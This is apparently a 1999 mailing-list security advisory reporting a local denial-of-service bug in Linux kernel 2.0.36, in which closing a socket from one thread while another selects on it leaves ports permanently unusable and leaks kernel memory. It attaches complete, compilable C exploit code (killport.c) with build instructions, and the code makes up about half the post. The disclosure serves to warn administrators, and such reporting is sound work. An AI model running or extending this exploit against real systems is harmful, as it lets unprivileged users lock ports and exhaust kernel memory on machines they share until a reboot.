Date: Tue, 19 Jan 1999 11:33:19 -0800
From: David Schwartz <[email protected]>
To: [email protected]Subject: Linux 2.0.36 vulnerable to local port/memory DoS attack
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I discovered an exploitable bug in Linux kernel 2.0.35 in September of
1998. I reported it to the Linux developers. I was assured that this bug was
part of a family of similar bugs that would soon be banished from the Linux
kernel. In fact, I was told the release of 2.0.36 was being delayed to allow
this bug, and others like it, to be fixed.
Well, I just tested the exploit against a stock 2.0.36 kernel, and
unfortunately, the attack still works. 2.1.x and the 2.2.x-pre builds are
not vulnerable. A local unprivileged account is required to launch this
attack. Multithreaded programs that work perfectly on other operating
systems may accidentally trigger this bug on affected Linux systems.
The effect of this bug is that anyone with a local account can permanently
(until a reboot) steal any ports he or she wants (>1024, of course). It
becomes subsequently impossible to listen on this port. Oddly, the kernel
itself continues listening on the port and accepts incoming TCP connections.
Kernel memory can be leaked in any quantity desired. Any number of ports
can be made unusable.
You will know if this bug has been exploited on your system because you
will see sockets stuck permanently in the 'CLOSE_WAIT' state. The only cure
is a reboot. As far as I can tell, there is no way to determine which user
launched the attack once their process terminates. (I checked the uid field
in the kernel, it's blank.)
The way you trigger the bug is to open the port, and then while one thread
selects on the port, another closes it. Due to the select, the close fails.
The close can never happen again, as far as I know.
The attached exploit code demonstrates the bug without harming the system
too badly. Much more vicious exploits can be written trivially.
David Schwartz
<[email protected]>
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=0A=
// This program will kill a random port on a linux machine. The kernel =
will=0A=
// forever listen to that port and send the connections nowhere. Tested =
with=0A=
// Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile,=0A=
// but removing LinuxThreads from your system will not solve the problem.=0A=
=0A=
// The bug is triggered when a multithreaded program closes a socket from=0A=
// one thread while another thread is selecting on it. A subsequent abort=0A=
// leaves the socket in never-never land.=0A=
=0A=
// Do not underestimate the risk of this exploit. While this program=0A=
// is mild, more vicious programs could lock large numbers of ports or=0A=
// replicate this same attack on an active connection with large=0A=
// send/receive buffers full of data. This could cause large increases=0A=
// in kernel memory consumption.=0A=
=0A=
// Discovered by David J. Schwartz <[email protected]>=0A=
// Copyright (C) 1998, David J. Schwartz=0A=
=0A=
// Note: This bug was not fixed in 2.0.36, as I was told it would be=0A=
=0A=
// Compile with:=0A=
// gcc killport.c -lpthread -o killport=0A=
=0A=
#include <pthread.h>=0A=
#include <stdio.h>=0A=
#include <sys/types.h>=0A=
#include <sys/socket.h>=0A=
#include <netinet/in.h>=0A=
#include <stdlib.h>=0A=
#include <arpa/inet.h>=0A=
#include <errno.h>=0A=
=0A=
volatile int s;=0A=
=0A=
void *Thread1(void *a)=0A=
{=0A=
int i,p;=0A=
struct sockaddr_in to;=0A=
fd_set fd;=0A=
s=3Dsocket(AF_INET, SOCK_STREAM, 0);=0A=
if(s<=3D0) return;=0A=
memset(&to, 0, sizeof(to));=0A=
srand(getpid());=0A=
=0A=
/* we pick a random port between 50000 and 59999 */=0A=
p=3D(rand()%10000)+50000;=0A=
=0A=
printf("port =3D %d\n", p);=0A=
fflush(stdout);=0A=
to.sin_port=3Dhtons(p);=0A=
to.sin_addr.s_addr=3D0;=0A=
to.sin_family=3DAF_INET;=0A=
if(bind(s, (struct sockaddr *)&to, sizeof(to))<0)=0A=
fprintf(stderr,"no bind\n");=0A=
if(listen(s,10)!=3D0)=0A=
fprintf(stderr,"No Listen\n");=0A=
/* now we are listening on that port */=0A=
i=3Dsizeof(to);=0A=
FD_ZERO(&fd);=0A=
FD_SET(s,&fd);=0A=
select(s+1,&fd,NULL,NULL,NULL);=0A=
/* at this point we have selected on it as well */=0A=
fprintf(stderr,"select returned!\n");=0A=
}=0A=
=0A=
void *Thread2(void *a)=0A=
{=0A=
close(s);=0A=
fflush(stderr);=0A=
abort();=0A=
}=0A=
=0A=
void main(void)=0A=
{=0A=
pthread_t j;=0A=
pthread_create(&j,NULL,Thread1,NULL);=0A=
usleep(100); /* give the other thread time to finish */=0A=
pthread_create(&j,NULL,Thread2,NULL);=0A=
while(1) sleep(1);=0A=
}=0A=
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